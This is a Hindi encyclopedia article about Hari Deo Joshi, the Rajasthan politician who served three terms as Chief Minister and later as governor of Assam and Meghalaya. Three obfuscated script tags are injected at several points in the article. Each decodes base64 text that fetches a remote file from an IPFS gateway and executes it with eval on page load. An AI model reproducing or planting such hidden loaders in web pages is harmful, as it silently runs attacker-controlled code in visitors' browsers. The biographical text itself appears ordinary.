हरी देव जोशी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
हरी देव जोशी
हरी देव जोशी
पूरा नाम हरी देव जोशी
जन्म 17 दिसंबर, 1920
जन्म भूमि बाँसवाड़ा, राजस्थान
मृत्यु 28 मार्च, 1995
नागरिकता भारतीय
प्रसिद्धि राजनीतिज्ञ
पार्टी भारतीय राष्ट्रीय काँग्रेस
पद मुख्यमंत्री, राजस्थान (तीन बार)- 11 अक्टूबर, 1973 से 4 मार्च, 1990 तक

राज्यपाल, असम- 10 मई, 1989 से 21 जुलाई, 1989 तक
राज्यपाल, मेघालय- 11 मई, 1989 से 26 जुलाई, 1989

अन्य जानकारी सबसे पहले 1952 में हरी देव जोशी ने डूंगरपुर से चुनाव जीतने की शुरुआत की। इसके बाद 1957 में घाटोल से और बाक़ी 8 बार बांसवाड़ा से निर्वाचित हुए।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>हरी देव जोशी (अंग्रेज़ी: Hari Deo Joshi, जन्म- 17 दिसंबर, 1920; मृत्यु- 28 मार्च, 1995) भारतीय राष्ट्रीय कांग्रेस के राजनीतिज्ञ और राजस्थान के भूतपूर्व सातवें मुख्यमंत्री थे। वे तीन बार राजस्थान के मुख्यमंत्री रहे। बाद में वह असम तथा मेघालय के राज्यपाल भी रहे।


  • भारतीय राजनीतिज्ञ और स्वतंत्रता सेनानी हरी देव जोशी का जन्म खांदू नामक गाँव, बांसवाड़ा, राजस्थान में हुआ था।
  • स्वतंत्रता के बाद 1952 में उनका प्रवेश राजनीति में हुआ। तब से वे 10 बार राज्य विधानसभा का चुनाव लड़े और हर बार विजयी रहे।
  • सबसे पहले 1952 में हरी देव जोशी ने डूंगरपुर से चुनाव जीतने की शुरुआत की। इसके बाद 1957 में घाटोल से और बाक़ी 8 बार बांसवाड़ा से निर्वाचित हुए।
  • हरी देव जोशी तीन बार राजस्थान के मुख्यमंत्री रहे-
  1. 11 अक्टूबर, 1973 से 29 अप्रॅल, 1977 तक
  2. 10 मार्च, 1985 से 20 जनवरी, 1988 तक
  3. 4 दिसंबर, 1989 से 4 मार्च, 1990


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>